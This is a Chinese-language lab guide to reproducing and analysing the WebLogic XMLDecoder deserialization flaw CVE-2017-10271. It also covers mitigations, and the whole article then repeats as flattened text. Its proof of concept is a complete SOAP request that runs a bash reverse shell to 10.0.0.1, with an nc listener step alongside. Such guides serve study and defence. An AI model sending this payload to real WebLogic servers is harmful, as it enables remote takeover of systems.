WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞复现
字数 1667 2025-08-10 17:51:51

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)分析与复现指南

1. 漏洞概述

1.1 漏洞形成原因

WebLogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据。在解析过程中存在反序列化漏洞,导致攻击者可执行任意命令。

1.2 漏洞基本信息

项目 详情
漏洞名称 WebLogic XMLDecoder反序列化漏洞
CVE编号 CVE-2017-10271
危害等级 高危
CVSS评分 10
漏洞类型 远程代码执行(RCE)
受影响版本 Weblogic 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3

2. 漏洞复现

2.1 环境搭建

推荐环境:

  • 操作系统:Kali Linux (2023)
  • 工具:Docker

环境获取方式:

  1. 使用Vulhub提供的环境:https://vulhub.org/#/environments/weblogic/CVE-2017-10271/
  2. 或通过百度网盘下载:https://pan.baidu.com/s/17x0a5gIZK_2IgDQqWe_zHg (提取码: xsc3)

验证环境:
访问 http://your-ip:7001/ 应看到404页面,说明WebLogic已成功启动。

2.2 漏洞验证POC

发送以下恶意构造的XML数据包(注意反弹shell语句需要进行编码):

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.4.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
            </void>
          </array>
          <void method="start"/></void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

2.3 攻击步骤

  1. 在攻击机上启动NC监听:nc -lvnp 21
  2. 发送上述恶意请求到目标WebLogic服务器
  3. 观察NC监听端口,成功获取反弹shell

3. 漏洞分析

3.1 漏洞位置

漏洞出现在wls-wsat.war组件中,该组件使用WebLogic自带的webservices处理程序来处理SOAP请求。

3.2 漏洞调用链

  1. weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
  2. weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
  3. weblogic.wsee.workarea.WorkContextXmlInputAdapter

3.3 详细分析

  1. WorkContextServerTube.processRequest方法获取localHeader1(包含<work:WorkContext>包裹的数据)
  2. 传递给readHeaderOld方法
  3. 实例化WorkContextXmlInputAdapter类,将XML格式的序列化数据传入
  4. 最终通过XMLDecoder进行反序列化操作

3.4 补丁绕过历史

  • 最初漏洞编号为CVE-2017-3506
  • Oracle的初始补丁仅检查XML中是否包含<object>节点,将其替换为<void>
  • 攻击者可通过简单修改绕过该补丁,导致CVE-2017-10271的出现
  • 最终修复需要使用Oracle官方十月份提供的完整补丁

4. 漏洞防御

4.1 临时解决方案

删除WLS-WebServices组件,相关路径:

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war

操作步骤:

  1. 删除上述文件
  2. 重启WebLogic服务
  3. 验证http://weblogic_ip/wls-wsat/返回404

4.2 官方补丁修复

前往Oracle官网下载十月份提供的安全补丁进行完整修复。

5. 参考资料

  1. Tom4t0.github.io/_posts/2017-12-22-WebLogic WLS-WebServices组件反序列化漏洞分析.md
  2. GitHub: Tom4t0/Tom4t0.github.io
  3. Vulhub漏洞环境库
  4. Oracle官方安全公告
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)分析与复现指南 1. 漏洞概述 1.1 漏洞形成原因 WebLogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据。在解析过程中存在反序列化漏洞,导致攻击者可执行任意命令。 1.2 漏洞基本信息 | 项目 | 详情 | |------|------| | 漏洞名称 | WebLogic XMLDecoder反序列化漏洞 | | CVE编号 | CVE-2017-10271 | | 危害等级 | 高危 | | CVSS评分 | 10 | | 漏洞类型 | 远程代码执行(RCE) | | 受影响版本 | Weblogic 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3 | 2. 漏洞复现 2.1 环境搭建 推荐环境: 操作系统:Kali Linux (2023) 工具:Docker 环境获取方式: 使用Vulhub提供的环境:https://vulhub.org/#/environments/weblogic/CVE-2017-10271/ 或通过百度网盘下载:https://pan.baidu.com/s/17x0a5gIZK_ 2IgDQqWe_ zHg (提取码: xsc3) 验证环境: 访问 http://your-ip:7001/ 应看到404页面,说明WebLogic已成功启动。 2.2 漏洞验证POC 发送以下恶意构造的XML数据包(注意反弹shell语句需要进行编码): 2.3 攻击步骤 在攻击机上启动NC监听: nc -lvnp 21 发送上述恶意请求到目标WebLogic服务器 观察NC监听端口,成功获取反弹shell 3. 漏洞分析 3.1 漏洞位置 漏洞出现在 wls-wsat.war 组件中,该组件使用WebLogic自带的webservices处理程序来处理SOAP请求。 3.2 漏洞调用链 weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld weblogic.wsee.workarea.WorkContextXmlInputAdapter 3.3 详细分析 WorkContextServerTube.processRequest 方法获取 localHeader1 (包含 <work:WorkContext> 包裹的数据) 传递给 readHeaderOld 方法 实例化 WorkContextXmlInputAdapter 类,将XML格式的序列化数据传入 最终通过XMLDecoder进行反序列化操作 3.4 补丁绕过历史 最初漏洞编号为CVE-2017-3506 Oracle的初始补丁仅检查XML中是否包含 <object> 节点,将其替换为 <void> 攻击者可通过简单修改绕过该补丁,导致CVE-2017-10271的出现 最终修复需要使用Oracle官方十月份提供的完整补丁 4. 漏洞防御 4.1 临时解决方案 删除WLS-WebServices组件,相关路径: 操作步骤: 删除上述文件 重启WebLogic服务 验证 http://weblogic_ip/wls-wsat/ 返回404 4.2 官方补丁修复 前往Oracle官网下载十月份提供的安全补丁进行完整修复。 5. 参考资料 Tom4t0.github.io/_ posts/2017-12-22-WebLogic WLS-WebServices组件反序列化漏洞分析.md GitHub: Tom4t0/Tom4t0.github.io Vulhub漏洞环境库 Oracle官方安全公告